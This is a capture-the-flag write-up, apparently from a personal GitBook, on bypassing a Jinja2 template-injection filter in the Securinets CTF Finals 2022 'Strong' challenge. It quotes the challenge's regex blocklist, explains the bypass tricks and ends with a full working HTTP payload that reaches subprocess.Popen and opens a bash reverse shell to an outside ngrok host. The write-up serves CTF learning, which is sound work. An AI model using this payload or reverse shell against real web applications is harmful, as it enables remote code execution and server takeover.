👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Bypassing "{{" and "}}"
  • Bypassing ".", "[", "]"
  • Bypassing "_", "\", "class", "subclasses", "getitem"
  • Gaining RCE
  • Final Payload

Was this helpful?

  1. 2022
  2. Securinets CTF Finals 2022

Strong

Jinja2 SSTI filter bypass

PreviousXwaSS ftw?NextArtist

Last updated 3 years ago

Was this helpful?

This type of challenges is created to be solved at the end, but you know it's a matter of time so who is the faster?

Link: http://128.199.3.34:1234

Author: Kahla

This was a Jinja2 template injection challenge, with the following filter:

re.search("\{\{|\}\}|(popen)|(os)|(subprocess)|(application)|(getitem)|(flag.txt)|\.|_|\[|\]|\"|(class)|(subclasses)|(mro)|\\\\",request.form['name'])

As we can see, the filter is quite extensive!

Bypassing "{{" and "}}"

This one is rather straightforward. We could still get code execution through an if-else statement:

{% if PAYLOAD %}{% endif %}

Bypassing ".", "[", "]"

We could bypass the use of . by using the attr filter. For instance, request|attr('args') is the same as request.args.

To get the first and last items of a list, we could use |first and |last respectively.

If we need to access items in a dictionary, we could first convert them to a list using |list, then access the first and last elements.

Bypassing "_", "\", "class", "subclasses", "getitem"

In order for our RCE payload to work, I needed access to __class__, __subclassess__ and __getitem__.

We needed a way to construct something like ()|attr('__class__'). The \ character was banned, so using octal or hexadecimal numbers to construct the string was not possible.

One easy way to get banned characters into a string was to use request.args - this is a MultiDict object containing the GET request parameters.

For example, this allowed us to get the __ string:

POST /?__=a

...

name=... request|attr('args')|list|first ...

Bypassing the class, subclasses, and getitem strings could be done by using the |lower filter. For instance: 'CLASS'|lower.

All that's left to do is to join the class string with the preceding and ending __ characters. This can be achieved using |join.

Viola, the following will give us ().__class__:

()|attr((request|attr('args')|list|first,'CLASS'|lower,request|attr('args')|list|first)|join)

This can then be extended to construct almost any arbitrary payload.

Gaining RCE

To get RCE, a typical method is through ().__class__.__subclasses__.__getitem__(x) where x corresponds to the index of the subprocess.Popen class.

We do not know the value of x in this case, but we can still blindly bruteforce the value of x by submitting our RCE payload with different x values until we receive a shell.

In order to complete our RCE payload, I needed the . character for my callback domain, and the " character for the bash command:

bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/14003 0>&1"

These characters can be obtained in a similar fashion as __. Adding a second GET request parameter, we can access . through request|attr('args')|list|last.

As for ", we could add another POST request parameter and access it through request|attr('form')|list|last)|join.

Final Payload

It might not have been the most elegant, but it got the job done!

POST /?__=a&.=b HTTP/1.1
Host: 128.199.3.34:1234
Content-Length: 661

name={% if ()|attr((request|attr('args')|list|first,'CLASS'|lower,request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'base',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'SUBCLASSES'|lower,request|attr('args')|list|first)|join)()|attr((request|attr('args')|list|first,'GETITEM'|lower,request|attr('args')|list|first)|join)(276)(('bash -c ',request|attr('form')|list|last,'bash -i >%26 /dev/tcp/8',request|attr('args')|list|last,'tcp',request|attr('args')|list|last,'ngrok',request|attr('args')|list|last,'io/14003 0>%261',request|attr('form')|list|last)|join,shell=True,stdout=-1) %}{% endif %}&"

Sometimes, we need to access elements of a list or dictionary. This was a bit more tricky but looking into the part of the documentation, we can find some useful information.

Built-in Filters